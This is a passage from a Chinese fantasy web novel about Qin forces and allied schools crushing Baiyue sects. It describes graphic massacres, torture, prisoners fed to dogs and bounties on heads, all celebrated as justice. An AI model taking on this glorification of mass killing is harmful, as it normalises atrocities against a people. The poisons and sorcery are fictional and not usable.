“动作快些!童子装左笼,妇人装右笼!”
他踹翻一个试图保护孩子的老妪。
“老子还赶着去下一个村子炼人蛊!”
阴影里突然传来轻笑。
尸傀门的驼背老者正用骨针缝制一具“新鲜材料”。
针脚过处,死尸的手指开始抽搐。
“急什么?让老婆子多缝几具尸兵,才好给天泽大人献礼…”
“呱噪!”
溪边传来呵斥。
毒蟾宗壮汉扒开芦苇,露出满身脓疱。
“要杀就杀,吵得老子没法提取毒浆!!!”
他腰间葫芦里装着半凝固的蟾酥,正将捕获的村民按进毒液浸泡。
更远处的林子里,魅影门女弟子们嬉笑着给昏迷的男子们换上大红喜服。
她们修炼的合欢蛊需在子时拜堂成亲后方能取用阳气。
“差不多了。”
万蛇宗疤面男望向最后几个抵抗的村民。
“宰了老的,小的装车…谁?!”
一道雪亮剑光!
毫无征兆地削飞了他的发髻。
晓梦的白衣在暮色中如月华流淌,足尖轻点过茅草尖梢,用雪霁剑挽了个道诀。
“太上敕令,超汝孤魂…”
“哪来的道姑?!”
毒蟾宗壮汉怒吼着喷出毒浆,却在触及晓梦前三尺自行蒸腾成雾。
她剑尖轻挑,雾气凝成冰针倒射而回,瞬间将他钉成筛子!!
尸傀门老妪尖叫着催动尸兵,七具缝合怪扑来时,晓梦只是拂袖。
秋风扫落叶般,尸兵们突然自行解体,碎块在空中化作蒲公英飘散。
“道法自然。”
她剑指划圆,老妪手中的骨针突然活过来般反刺入自己眼眶。
“尘归尘,土归土。”
魅影门女弟子们娇笑着撒出粉色蛊雾。
“姐姐好凶呀~不如加入我们……”
话音未落,她们身上的大红喜服突然疯狂生长,绸缎如**蛇般将主人绞缠窒息!
“俗欲缠身,枉修道心。”
晓梦剑尖点地,所有喜服应声碎裂,露出底下迅速衰老的躯体!
万蛇宗弟子见状纷纷化出蛇形,草丛中窜出无数毒蛇。
晓梦看也不看,只是轻诵道经。
毒蛇游至她周身一丈竟纷纷仰首起舞,随后互相撕咬成碎肉。
“妖道!”
疤面男咬破舌尖喷出血咒。
“万蛇噬…呃!”
他的咒语卡在喉咙,因为晓梦的剑尖不知何时已点在他眉心。
“天地不仁。”
她眸光淡漠如观蝼蚁。
“尔等…连刍狗都不如!!”
剑芒微吐,疤面男从头到脚渐次化为飞灰。
剩余百越邪修发喊欲逃,却发现双腿早已生根般扎入泥土!
晓梦的徒子们从四方现身,八卦阵图在脚下流转。
“掌门,留活口么?”
最年轻的小道童歪头问,手中桃木剑已串起三个挣扎的毒蟾。
晓梦望向村落中央的尸堆。
几个天宗弟子正用往生咒超度亡魂,却仍有婴灵缠绕不去。
她突然并指斩断自己一缕青丝,发丝落地成符,将所有怨灵吸入其中。
“清净无为,何需活口。”
她剑穗轻扬,阵中百越人瞬间自燃成灰!
火焰却如有灵性般避开秦人尸首,独将邪修烧得魂飞魄散。
暮色彻底吞没村落时,晓梦的白衣纤尘不染。
她凝视掌心那缕封印怨灵的发丝,忽然望向咸阳方向。
“回去吧…”
她指尖发力捏碎发丝,怨气竟化作精纯道元消散。
“将这里的事情告诉公子。”
夜风卷着灰烬盘旋上升,隐约凝成太极图案。
小道童凑近低语:“掌门,下一个村子还救么?”
晓梦踏着月光走向下一处烽火,声音飘散在血腥空气里。
“天衍四九,人遁其一。
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”
“救与不救,皆是…天道。”
……
中军大帐内。
青铜灯盏的火苗被帐外灌入的寒风吹得忽明忽灭。
赵佗“咚”地跪倒在地,铁甲与青砖相撞发出沉闷声响,额角冷汗涔涔滑入战甲领口。
“公子!军中已有哗变之兆!!!”
他双手呈上**,绢帛上密密麻麻按着血红指印。
“将士们说…说弃城令寒了前线儿郎的心!”
屠雎紧接着重重抱拳,花白须发因激动而颤抖。
“两日连失五城!百越那些妖人现在敢在阵前烹煮…烹煮我军士卒!”
老将军喉头哽咽。
“若再退,老夫无颜见关中父老!”
赢子夜指尖的金焰正煨着药罐,闻言连眼皮都未抬。
“说完了?”
药汤沸腾的气泡映得他黑瞳幽深。
“那现在哪座城还在**?”
帐内陡然死寂!
蒙毅猛地抬头:“公子怎知…”
“本公子问,哪座城…还在**?!”
赢子夜突然拍碎药罐,滚烫的药汁泼在沙盘上,将代表百越势力的赤旗烫得蜷缩。
“是镡城?零陵?还是你们哭着喊着要守的临沅?!”
诸将悚然一惊。
那些弃守的城池竟真的再无战报传来!!!
“报——!”
传令兵连滚带爬冲进来,“百越尸傀军突破漓江第二道…”
“拖出去斩了。”
赢子夜看也不看。
“下次再报滞后军情,提头来见!”
噗!
血溅帐帘!
他又忽然轻笑:“你们真以为天泽占城是为了打仗?”
金焰在沙盘上勾勒出蜿蜒路线。
“他是要拿秦人的血肉养蛊,每座城里埋的蛊种,够把整个南疆变成尸山血海!!!”
恰逢此时。
帐帘无风自动,晓梦的白衣拂过血泊纤尘不染。
她指尖拈着片枯叶,叶脉上竟用冰霜刻着百越符文。
“后方七十九座大寨已清理完毕。”
落叶飘入药炉。
“下次可以让百姓撤离得更快些,超度很费时辰。”
满帐将领僵立当场!
他们这才注意到,晓梦道袍下摆沾着某种熟悉的绿色黏液。
正是百越巫师炼蛊用的尸浆!
“有劳大师。”
赢子夜抚掌轻笑,玄色衣袖卷得灯盏齐暗。
“听见了吗?”
他猛地捉住赵佗手掌,按向沙盘。
“你们一个个哭着喊着说秦军在挨打。”
瞳孔冷光闪烁!
“本公子现在就问,是谁在挨打?!”
“是谁被当成药引?!”
“是谁的防线早就烂成了筛子?!”
随着他一声声质问,沙盘上的赤旗逐一燃起,化作尸山血海的幻象!
帐外雷声炸响,电光透过帐布照亮他狰狞的笑意。
“天泽以为扯开了战线,就能围死我们……”
他指尖一勾,整幅沙盘轰然燃起,烈焰腾空而起,将百越据点尽数吞没。
“却不知每一处口子,都是本公子亲手挑的坟!!!”
暴雨倾盆而下,冲刷着帐外尚未干涸的血迹。
赢子夜拾起晓梦带来的那片枯叶,轻轻按在沙盘正中央。
“传令。”
叶片突然燃起幽蓝火焰,将整个沙盘吞噬。
“攻守易型了。”
第195章 反击!
赢子夜指尖的金焰猛然炸开。
将沙盘上百越的赤旗尽数吞没!
火焰腾起三尺之高,映得他玄色衣袍上的暗金纹栩栩如生。
“赵佗。”声音冷得像淬冰的刀。
“带你的人去蛇谷东南风口——烧山。”
将军猛地抬头。
“我们已经烧过一次了,里面全是原始林木…”
“还不够!”
“就是要烧得他们无处可躲。”赢子夜甩出虎符砸在他盔甲上。
“等毒虫猛兽被逼出巢,天泽的主力自然要现身救火。”
金焰突然凝成毒蛇形状。
“你带重**埋伏在火场外,出来一个,射杀一个!”
“屠雎!”第二枚虎符嵌入案几。
“你负责清理‘杂鱼’。”
赢子夜指尖划过沙盘上诸多百越宗门标记。
“那些自以为是的宗门高手,很快会像没头苍蝇一样乱窜。”
晓梦的拂尘无声扫过沙盘,几片青叶钉住万蛇宗、毒蟾宗等标记。
“天宗已布下八阵图。”她眸光淡漠。
“可惜道家戒杀生…”
“无妨。”赢子夜突然扯下腰间玉佩掷给她。
“让儒家的人去,他们不是最讲‘除恶务尽’?”
玉佩在空中碎裂,化作数十道流光射向帐外!
“告诉儒生们,凡斩百越首级者,帝宫之学内藏书楼加赠百卷。”
蒙毅急道:“公子,若百家趁机坐大…”
“坐大?”赢子夜嗤笑。
“帝宫之学既立,百家之言尽在殿中。”
他目光森冷,指尖的虎符重重敲击在沙盘上:“谁敢妄动,本公子便叫他连根拔起!”
暴雨砸在帐顶如战鼓轰鸣。
赢子夜突然劈碎整张沙盘,碎石迸溅中玄色大氅猎猎扬起。
“传令三军!凡斩百越首级者,赐田宅!”
“凡擒宗门头目者,赏千金!!!”
他踩碎脚边的焦木,火星四溅,瞳孔中倒映着漫天电光!
“本公子就让南疆的每一寸土,都浸透百越人的血!”
帐外突然传来百越人在远处的咆哮声。
赢子夜与晓梦对视一眼,两人同时并指掐诀。
“子时已到。”晓梦的拂尘化作万千光丝没入雨幕。
赢子夜剑指苍穹,声音震得整座大营嗡嗡作响。
“焚尽一切!!!”
……
火龙迅速卷过山林,烈焰吞没山谷。
万蛇宗弟子们尖叫着扑向火海边缘,却被焚风卷回火场。
他们的蛇仆疯狂反噬,鳞片被烤得炸裂,血水顺着烧焦的脊背滴落,溅起一股股腥烟。
哭号声、骨裂声、毒虫咀嚼声混成地狱乐音。
顷刻间,整个宗门已化作一片焦黑的炼狱!!
“往东!东面山口没火!”
疤面汉子嘶吼着挥刀劈开挡路的毒**,却突然僵在原地。
东面山坡上,三千架秦**正反射着冰冷的月光!!
“放!”
赵佗一声令下,战鼓齐鸣,万**一齐发声。
整片天空被箭矢覆盖,黑压压的一片仿佛一张巨大的网,向山谷狠狠罩下。
百越人慌乱抬头,眼中只剩下压迫至极的阴影。
呼啸、撞击、惨叫,在同一刻爆发!
大地被铁雨碾碎,血水与尘烟溅成漫天红雾!
这一瞬间,不是箭阵,而是…天罚!!!
冲在最前的毒蟾宗弟子们突然变成刺猬,脓包炸开的毒液反而灼伤了同伴。
一个少女徒劳地用手挡箭,**箭却穿透她掌心钉进眼眶,从后脑穿出。
“结阵!结蛇阵啊!”
万蛇宗长老尖叫着催动蛊虫,却发现满地毒蛇都在疯狂反噬主人。
它们被火烧得发了狂,见活物就咬!
第二波火箭袭来。
被点燃的弟子变成人形火把,惨叫着滚进人群。
油脂般的毒浆助长了火势,很快形成一片移动的火海!
有人试图扑打同伴身上的火焰,手掌却黏在熔化的鳞甲上撕不下来!
“西面!往西面冲!”尸傀门的老妪挥舞骨杖,操控着焦黑的尸兵开路。
她们刚冲过火场,脚下地面突然塌陷!
埋伏的陷阵营从坑中暴起,钩镰枪专砍脚踝。
“我的腿!”一个少女栽进陷坑,瞬间被十几把枪尖捅穿。
她临死前引爆了怀中的蛊虫罐,绿色毒雾弥漫开来,却见秦军迅速后撤!
每人脸上都戴着公输家特制的青铜面罩。
“第三阵,突骑营!”屠雎的白须在火光中如战神降世。
铁骑从山坡俯冲而下,马蹄踏碎满地挣扎的伤兵!
有个被踩断脊骨的百越汉子还在爬行,下一秒连头颅带脊椎被整个扯出!
钩戟手专门在收集首级。
“痛快!”老将军狂笑着劈飞两颗头颅。
“比宰畜生还顺手!”
幸存者被逼到绝崖边。
下面是漓江怒涛,江水翻卷着无数焦黑尸体,血色顺流漂散,仿佛整条江水都在**!
背后是铁甲秦军,盾列如山,刀锋逼得空气都在颤抖!!
魅影门的女弟子们摇摇欲坠,脸庞被火焰熏得焦黑龟裂。
她们缓缓撕开身上残破的纱衣,那些布料本就早已被烈焰烧得焦糊,掉落时带下一片皮肉与血痕!
赤裸的身躯上布满用自己指甲和碎刃刻出的符咒。
血迹未干,鲜红的线条纵横交错。
仿佛活生生将她们变成一面面流血的符篆!!
“跟他们拼了!”
声音嘶哑到不像人类。
她们同时咬断舌尖,将鲜血喷在胸前的咒纹上。
瞬息之间,血蛊沸腾,符文像火蛇般钻入她们皮肤,反卷骨血。
有人眼眶迸裂,鲜血泪水一起淌下。
有人喉咙自燃,火光从口鼻喷出。
最后一步,她们互相抓住同伴的手腕,以血为链,将自己整整一排人连在一起。
“血蛊阵——成!!”
然而,话音未落,崖顶突然轰然坍塌!
数十块磨盘大小的巨石被秦军推下,如天崩地裂般砸落!
符咒女弟子们正要自爆血蛊,却被突如其来的巨石砸得血肉横飞,惨叫着被压碎在崖壁和江面之间,瞬间炸成血雾!
无数碎骨和鲜血溅入江水,漓**染成殷红。惨叫声此起彼伏,随即被奔腾江涛吞没。
幸存的百越人被活活逼到崖边,前是滔天江水,后是紧逼的刀盾。
“我百越千年血脉,今日竟尽毁在你们手里!”
“呜啊——!”
哭嚎声与轰隆的巨石声交织,连夜色都为之震碎。
秦军的重盾列阵而下,冷冽的长矛如铁林般指向绝境中的百越残部。
没有仁慈,没有停歇,唯有…肃杀与灭绝!
最后几十人跪地求饶,却见秦军阵中推出特制的铁笼。
里面挤满了饥饿的尸犬!!
铁笼
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震动,铁链被疯狂咬击得叮当作响。
黑暗里,一双双绿光眼珠闪烁,腥臭和尸毒气息透过铁缝喷涌,令在场的百越俘虏浑身发抖!
赵佗亲自上前,长剑一斩,铁锁崩裂,笼门轰然震开!
尸犬如洪水般狂扑而出,獠牙沾满尸毒的黑沫,半张脸挂着腐肉,咆哮着将最近的百越人扑倒!
惨叫声骤然响起,骨骼碎裂的爆响伴随血肉飞溅。
有人挣扎着要逃,却被拖进尸犬堆,瞬间没了人影。
“殿下有令,不要浪费饵料。”
赵佗的声音冰冷,压过了战场上的哭嚎。
尸犬疯狂追逐,血肉被啃噬得稀烂。
崖边火光照亮整片江面,哀嚎声混着犬吠回荡在夜色里,久久不散。
惨叫声……持续到黎明。
当赢子夜踏着血沼走来时,屠雎正用敌人肠子擦拭战戟。
“公子,斩首三万七千余,无一生还!!!”
赢子夜踢开脚边半截焦尸,黑瞳扫过崖下被血染红的江面。
“才这么点?”
他忽然俯身,从尸堆里拎出个装死的万蛇宗弟子:“天泽能不能派些高手过来?”
**划过,那弟子的舌头连着下颚被整个削落。
“本公子嫌他的狗…太瘦。”
血腥气在夜风中弥散开来。
秦军阵列冷冷收拢,长矛林立,将幸存的俘虏逼得瑟瑟发抖。
火光摇曳间,山林尽数化作焦土,百越残部的惨嚎声逐渐被滔天江涛吞没。
赢子夜抬眸望向远方,电光一闪,他的目光越过血火,看向百越腹地深处。
“蛇谷。”他低声吐出二字,黑瞳冷冽如刃,“终究得去走一趟。”
……
半个时辰后。
月华如练,晓梦的白衣在枯枝间掠过不留痕。
身后三十六名天宗弟子如鹤群展翅,道袍拂过焦土竟生出细嫩草芽。
“掌门,东北三十里毒瘴异常。”
最年轻的女弟子突然驻足,玉指间铜钱嗡鸣,“好像是万蛇宗的炼蛊池。”
晓梦拂尘轻扫,铜钱炸成粉末:“扰清净者,当诛!”
毒瘴深处,万蛇宗主正将童子心尖血滴入丹炉。
炉中绿雾翻涌,隐约凝成蛇形。
“快了…就快成了!”
他枯爪激动得发抖,“只要吞了这枚人丹…”
“无量天尊。”
清冷女声惊得他猛回头。
晓梦不知何时已立在丹炉边,拂尘尖正轻点炉壁。
炉内绿雾突然凝固,连翻涌的蛇影都冻结成冰。
“天宗?!”万蛇宗主嘶吼着甩出**,“老夫与你道家井水不犯…”
拂尘微扬,**倒卷而回,钉穿他琵琶骨将人掼在岩壁上!!
晓梦指尖凝出霜花,轻轻按在丹炉表面:“以童贞炼邪蛊,罪无可赦!!!”
“咔啦——”
丹炉连同里面冻结的“人丹”碎成齑粉!
万蛇宗主呕着血狂笑:“碎了也好…正好让毒雾散出去毒死…”
话音戛然而止。
他惊恐地发现所有毒雾竟被晓梦袖中飞出的符纸吸收殆尽,符纸化作青鸟振翅没入夜空!
“还有遗言么?”晓梦的剑尖点向他眉心。
“天泽大人会替我…”
剑芒微吐,他头颅如冰雕般碎裂。
无头尸身尚未倒地,已被霜花裹着沉入地底。
“下一处。”晓梦转身时,身后焦土突然开出遍野白花。
第196章 连战连捷!
两炷香后。
天宗门人又撞见了毒蟾宗正在污染水源。
上百个毒囊正被投入河中。
刹那,晓梦足尖轻点河面!!
整条河流瞬间冻结,毒囊在冰层中如琥珀凝固!!
“杀了她们!”毒蟾宗主癫狂催动功体,浑身脓疱炸开毒液。
天宗弟子们同时掐诀,毒液在半空凝成冰珠反弹而回,将施术者打成筛子。
“清净。”
晓梦倒持雪霁,剑指划圆,冻住的河面裂开蛛网纹路。
连同毒囊和尸体碎块尽数化为冰尘,随微风消散无踪。
赶到尸傀门据点时,邪修们正在给整村尸体缝合翅膀。
晓梦静静看了片刻,忽然解下束发青丝。
“尘归尘。”
发丝化作万千光丝刺入尸傀,所有缝合线应声断裂!
复生的尸体突然集体转向施术者,拖着残躯扑向昔日主人!!
“土归土。”
她拂尘扫过战场,被尸傀撕碎的邪修们化作养料渗入大地。
顷刻间!
荒村开满往生花。
朝阳跃出地平线时,晓梦的白衣染上金边。
天宗弟子捧着册子轻声禀报:“累计超度邪修一千七百余,解救百姓…”
“不必报数。”晓梦望向漓江主战场方向,那里黑气冲天,“罪恶如山,岂是数字能量?”
她忽然并指斩断一缕鬓发。
发丝落地成符,化作鹤影射向赢子夜大营!!
“告诉他。”晓梦踏着晨露走向下一处烽烟,“天宗…已奉道而行!”
……
漓江支流畔。
五百百越精锐正涉水潜行。
为首的血蛊宗长老突然举手示警!
对岸,不知何时立了三十六尊黑甲武士,玄铁面罩下透出的杀气惊得水蛇沉底!
“秦军哨卡?宰了!”
长老狞笑着催动血蛊,身后弟子们皮肤下顿时凸起游走的红纹。
黑甲武士同时抬臂,腕甲碰撞声如惊雷炸响。
为首者面罩突然弹开,露出王离冷硬的脸:“兵家,地载阵。”
百战穿甲兵中精挑细选的重盾卒轰然将盾牌砸入河床,瞬间截断水流。
百越人还没反应过来,第二排武士已掷出短戟!!
不是射人,而是精准钉死所有试图催蛊者的影子!!
“装神弄鬼!”血蛊长老咬破舌尖喷出血雾,雾气中窜出千百血蛇。
王离却笑了:“风扬阵——变!”
盾阵突然散开,三十六把长戟同时举起!
戟光织成绞肉旋风,血蛇撞上瞬间化作血雨!
有弟子试图水遁,却发现断流的河床早已插满倒刺铁蒺藜。
“虎韬!”王离马槊指天。
所有武士突然后撤三步,露出身后十架狰狞的床**。
**箭竟是中空的,破体瞬间会炸出铁珠!
“放!”
血肉横飞!
被铁珠打烂半张脸的弟子惨叫着跌倒,立刻被同袍踩成肉泥!
血蛊长老刚化作血雾遁逃,王离的马槊已穿透雾心将他钉在岩壁上:“兵家,猎犬阵。”
四周崖顶突然亮起火把,无数**机俯瞄准残兵!
王离拧转槊头搅碎长老内脏:“记住,杀你们的,不只是秦军。”
拔刀劈下头颅,声音如雷:“更是兵家!!!”
残存的百越人像被逼疯的野兽般扑向浅滩。
脚下泥沙翻滚间,数百枚震天雷齐声轰鸣!
江面掀起火浪,血肉与碎甲被震成齑粉,整片浅滩直接塌陷。
烈焰翻卷中,溃兵的惨嚎声仿佛来自地狱。
有人半边身子被震飞,肠子挂在焦炭般的树干上。
有人胸腔炸裂,心脏还在余烬里扑腾!!
活下来的寥寥几人拖着断肢爬行,却又被下一波火光吞没,连骨头都烧得粉碎。
火雨尚未散尽,王离已提着长槊立在血雾之中。
他满身溅血,眼神冷若铁石,猛地将槊头插入尚在抽搐的百越尸体,将之彻底搅烂!!!
他甩了甩血,望向主战场方向。
“公子,这份投名状…可还够看?”
……
漓江迷雾最浓处。
百越巫祭们正在举行血祀。
九具青铜小鼎中沸腾着人油,骸骨堆成的祭坛上,大巫祝挥舞蛇杖吟唱咒文!
当祭文达到高潮时,所有鼎中突然伸出鬼手般的黑影——
“阴盛阳灭,星陨魂销。”
清冷女声穿透咒语,月神的银纱在雾中如月华流淌。
她足尖轻点江面,所过之处沸腾的人油瞬间凝固!
“什么人?!”
大巫祝蛇杖炸裂,爆出漫天毒蜈,“杀了她!”
毒蜈扑至月神三尺外突然自燃,灰烬在空中凝成星图!
她袖中飞出七枚玉铃,铃声荡开时,所有巫祭同时捂住耳朵。
有黑虫正从他们耳孔钻出!!!
“阴阳家东皇大人托我问候诸位。”
月神指尖轻划,玉铃组成北斗阵型,“他说…百越的魂魄炼成灯油,最是耐烧!”
大巫祝癫狂地撕开胸膛,放出本命蛊虫!
那蛊虫见风就长,瞬间化作三头蛇扑来!
月神只是微微侧身,银纱拂过蛇身:“魂兮归来。”
三头蛇突然僵住,继而疯狂反噬其主!
紧接着,无数细碎的蠕动声骤然响起!
原本盘踞在他丹田与血脉中的蛊虫,竟失去控制般疯狂涌出,顺着七窍、血脉、毛孔争先恐后地钻出。
“啊——!不!我是你们的主!停下!”
大巫祝的惨叫瞬间撕裂夜空!
密密麻麻的血蛆先是从眼眶里拱出,将眼球生生挤爆。
接着青甲蜈蚣从喉咙中倒爬而出,扯碎声带,惨叫声化作血泡!
还有毒蛇状的巨蛊竟从他的胸腔里钻破肋骨,带出一片片碎肉和脏腑,活生生啃噬他的心肺!
他浑身的皮肉在刹那间被蛊虫翻搅得血肉模糊,皮肤下爬满了鼓胀的虫影,仿佛活人囊袋。
惨烈的嚎叫逐渐转为湿腻的咀嚼声,蛊虫们争食他的血肉,如饥似渴!!
片刻后,只剩下半截血骨还在抽搐。
大巫祝原本的法杖滚落在地,被鲜血浸透,却再没有人敢伸手去捡。
秦军远远望见,心中同时战栗与振奋。
这些阴阳家,看着轻飘飘的,出手也太狠辣了!
而百越残兵们眼神彻底崩溃,跪倒在地,不敢再举兵锋。
其余巫祭见状欲逃,却发现江水不知何时已倒映不出人影。
他们的魂魄,早被锁在水平面之下。
有人试图施展遁术,身体却从脚开始化为盐粒!
“玩够了。”
月神屈指弹碎最后一只玉铃。
所有巫祭应声炸成血雾!!!
血珠在半空凝成赤红星辰,汇入她袖中星图。
江风卷散血腥味时,她望向百越腹地:“时机已到,请示公子下令……”
“阴阳家,随时
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恭候。”
……
与此同时。
南面各处都在燃起战火!
尸横遍野的滩涂上,三名百越巫师正催动腐尸结阵。
忽闻朗朗书声破空而来:“《礼记》有云:入境而问禁,入国而问俗——”
儒家弟子一个个白衣胜雪,竹简挥洒间金光大作!
“此间禁杀戮,俗尚厚葬!!!”
腐尸突然集体转向,反将施术者扑倒啃噬!!
巫师惨叫着想解咒,却发现竹简金光竟将蛊虫逼回自己经脉!
“法家,刑名之术!”
不远处又有法家弟子高喝,法典凌空展开。
正要逃遁的百越头目突然僵住——
他脚下浮现律令条文组成的囚笼:“按《秦律》盗掘坟墓者,磔刑!!!”
虚空刀斧落下,将其肢解成规整的肉块!
杂家弟子更刁钻。
帝宫之学的门徒蹲在尸堆里摆弄算盘:“首级市价涨了,一颗换三亩田。”
他忽然朝溃逃的百越人喊!
“降者免死!附赠关中户籍!!!”
当即有数十人迟疑慢步,下一秒就被埋伏的**箭射穿。
**机竟是名家弟子用“白马非马”的诡辩术幻化而成!!
最绝的是医家。
端木蓉随军而至,药筐里飞出银针,精准钉住每个装死的百越人。
“此乃‘悬壶济世针’。”
她笑着看俘虏抽搐口吐白沫,“放心,只是让你们…再死透些。”
当阴阳家的星辉与兵家的铁蹄交汇时,整片战场已成百家争鸣的猎场!!!
有被俘的百越长老绝望嘶吼:“天亡我百越!!!”
身旁一名儒生闻言,一竹简拍碎他满口牙!
“《孟子》曰:仁者诛不仁——”
血,溅在竹简“义”字上。
“此乃…最大的仁义!!!”
……
中军大帐内。
传令兵的身影如走马灯般穿梭。
每一次跪地禀报都激起帐中将领的低呼。
“报——!东线大捷!王贊将军全歼百越象兵军团,焚毁战象四十九头!”
“报——!西河道口已由屠雎将军攻破,斩敌首八千,我军正乘胜追击!”
“报——!月神大人率阴阳家弟子荡平敌后方三处祭坛,漓江血祀已断!”
赢子夜玄衣沉静,立于巨大的地图沙盘前。
对纷至沓来的捷报只是微微颔首,指尖一枚青铜虎符在沙盘边缘轻轻叩击,发出规律的轻响。
所有的喧嚣似乎都侵扰不了他周身三尺的沉寂。
他的目光始终胶着在代表百越核心腹地的蛇谷区域。
那里黑雾缭绕,代表着未知的凶险和天泽最后的力量。
“端木蓉何在?”
他忽然开口,声音不高,却清晰地压过了帐内的喧哗。
帐帘应声掀起,端木蓉快步走入。
她一身素净的布衣沾染着各种草药的汁液和难以名状的暗色污渍,显然是刚才随军时留下的。
神色间虽有疲惫,但眼神清亮锐利。
她手中捧着一个陶罐,罐口弥漫着苦涩又奇异的药气。
“主上。”
她微微躬身。
“经过奴家的实地探查,尸傀毒蛊的核心,已查明是融合了南疆特有的尸蕈与血线虫卵,借由怨念催发,其性阴寒歹毒,能蚀人神智,控其躯体。”
赢子夜转过身,烛光在他深邃的眸中跳动。
“可能解?可能制?”
第197章 送给百越的大礼!
“能解,亦能制。”
端木蓉语气肯定,将陶罐小心放置在一旁的矮几上。
“以其之道还施彼身,我已试出数种方剂,可令**者气血逆冲,反噬其主。”
“亦可炼制更烈的毒,专蚀百越巫蛊之力,让他们自食其果。”
她顿了顿,补充道:
“只是,百越之中尚有百毒王,是用毒的大行家,恐其窥破药性,设法化解!”
赢子夜嘴角勾起一抹冷冽的弧度。
“无妨。”
“即便他能解,破解的过程也足以拖住他数日,乱其心神,滞其手脚。”
“这几日,便是我们的时机!”
他看向端木蓉,语气不容置疑:“你需要多少时日可大批配制此毒?”
端木蓉略一沉吟。
“药材备齐,人手充足,最少需两日。”
“好。”
赢子夜颔首。
“本公子予你所需一切,军中药师随你调遣。”
“两日之内,我要见到足够的毒剂,涂于我大军箭簇刀锋之上!!!”
“诺!”
端木蓉肃然应命,不再多言,转身匆匆离去,衣袂带起一阵混合着药香与腥风的气息。
赢子夜目光重新落回沙盘,手指精准地点在蛇谷的位置。
指尖的虎符重重按下,仿佛已将那险恶之地彻底碾碎!!
……
另一边。
潮湿的洞穴剧烈震颤,石笋簌簌砸进毒潭。
天泽的蛇形锁链绞碎第七份战报,绢帛碎片混着传令兵的血沫在空气中飞扬。
“废物!”
锁链猛地抽裂岩壁,百毒王被余波扫中,踉跄着咳出黑血。
“三天折了四万人!阴阳家、兵家就不说了,连儒家的那群酸生都打不过?!”
驱尸魔的骨杖嗡嗡作响。
“主上息怒!实在是秦军来势汹汹,有他们的**机和重甲军托底,我们的尸傀反而…”
“本君不想听借口!”
天泽瞳孔缩成竖线,锁链如狂**般勒住最近的长老脖颈!
“传令尸傀大军全部出动,把漓江给我填平!!!”
“可…可是主上。”
长老艰难喘息:“那些尸傀还没完全炼化,恐怕…”
“恐怕什么?”
天泽凑近他扭曲的脸:“等赢子夜杀到这儿,把你扔进炼蛊池就彻底了!”
锁链骤然收紧,颈椎碎裂声清脆可闻!
他甩开尸体,转向阴影中的信使。
“去告诉咸阳那个小疯子——”
蘸着血兽皮底下露出胡亥的私印。
“他再躲在后面看戏,本君就把和他勾结的密信刻在秦军的辕门上!”
“主上。”
百毒王突然匍匐上前:“还有一事,焰灵姬那边…”
天泽猛地转头:“说!”
“她们已锁定砀县教坊司区域。”一旁的信使颤抖着捧出枚燃烧的羽毛。
“但还没有确定具体之人,眼下正…”
“废物!”
锁链击碎羽毛,火星中映出天泽狰狞的面容!!
“告诉她们,三天内拿不到火雨玛瑙——”
他突然抓过百毒王,将其头颅直接摁进毒潭。
“就永远别回来了!!”
惨叫声中,毒潭翻腾如沸。
天泽仰天嘶吼,蛇链狂舞,鳞片摩擦得像万千刀剑铿鸣。
“赢子夜……你这个杂种!”
他双目血红,声音像撕裂喉咙的野兽嚎叫。
“等本君拿到火雨玛瑙……我要让你亲眼看着,秦土化作尸山血海的模样!!”
岩壁轰然崩裂,毒潭边缘溅起的腥风,仿佛也在附和他的咆哮!
就在这时!
洞穴深处。
突然传来机关转动声。
所有百越人惊恐跪地!
那是二十年来从未启动过的万尸鼎正在苏醒!!!
“听见了吗?”
天泽张开双臂拥抱腥风:“本君的百万尸傀…要出笼了。”
……
砀县。
教坊司柴房的霉味混着劣质脂粉气,令人作呕。
胡娘蜷在干草堆里,指尖无意识地抠着胸前粗布衣裳下的硬物。
门外龟奴的醉骂和鞭响越来越近。
“死丫头!滚出来伺候贵客!”
木门被哐当踹开,龟奴油腻的手抓向她头发。
“装什么清高…”
火焰毫无征兆地腾起!!
龟奴的惨叫卡在喉咙里,整个人像蜡像般熔化,油脂滴在草堆上滋滋燃烧。
胡娘惊恐地睁大眼,看着那团人形火焰扭曲坍缩,最后只剩下一滩焦臭的粘液。
烈焰翻卷凝形,焰灵姬赤足踏火而出,红发在黑暗中如流淌的熔岩。
她俯身捏住胡娘下巴,迫使她抬头。
“火雨玛瑙,在哪?”
“我…我不知道…”
胡娘牙齿打颤,对方指尖的温度烫得她皮肤发红。
她本能地捂住胸口,那处旧伤疤正在发烫。
焰灵姬红瞳微眯,突然轻笑:“撒谎。”
她指尖掠过胡娘衣襟,粗布瞬间化作飞灰,露出锁骨下方火焰状的胎记。
那形状竟与焰灵姬额间纹路惊人相似。
“这印记…火雨山庄的血脉骗不了人。”
门外突然传来密集脚步声!
魅姬的娇笑声穿透板壁:“姐姐得手了也不说一声~那群狗闻着味来了呢~”
焰灵姬头也不回甩出火鞭,整面墙壁轰然倒塌,外面传来打手们的惨叫!!
她逼视着吓瘫的胡娘!
“最后问一次,玛瑙——”
“我真的不知道!!”
胡娘崩溃哭喊。
“阿爹只说过…说它招灾!”
焰灵姬突然嗅到某种熟悉的气息。
她猛地扯开胡娘残破的衣领,发现那胎记中心竟嵌着米粒大的晶石。
正是火雨玛瑙的碎片!
常年被人体温滋养,已与血肉长在一处。
“原来如此…”
她指尖燃起幽蓝火焰就要剜取,胡娘却突然眼瞳泛绿,反手抓向她咽喉!
“砰!”
下一瞬,胡娘软软倒地。
魅姬收回击晕她的手刀。
“活挖多可惜呀姐姐~不如让妹妹用梦蛊…查查再说?”
胡娘在干草堆里蜷缩着陷入昏沉,额角渗出细密的冷汗。
梦中。
烈焰滔天,雕梁画栋的火雨山庄在夜色中熊熊燃烧,族人的惨叫与兵刃交击声不绝于耳!
“胡娘…走!”
父亲浑身是血地将她推入密道,塞给她一枚滚烫的玉佩,“去韩国…新郑!那里有一把钥匙…”
密道石门轰然落下,隔绝了父亲最后的嘶吼和漫天火光!
梦境扭曲变幻。
她看见自己颠沛流离,胸前那块火雨玛瑙不知何时碎裂,最大的碎片被她混着血泪摁进锁骨下的皮肉,灼热的刺痛让她在梦中**出声!
“呵…原来藏在那儿。”
魅姬妖媚的声音如**入耳膜。
胡娘猛地睁眼,正对上那双流转着粉色蛊光的眸子!
魅姬竟强行侵入了她的梦境!!
“小可怜,做噩梦了?”
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魅姬冰凉的指尖抚过她冷汗涔涔的额头,另一只手却握着一柄淬毒的**:“多谢你带路呢~”
“新郑是吧?姐姐会好好‘照顾’你家祖宅的…”
**猛地刺下!
“铛——!”
三枚铜钱破窗而入,精准击飞**!
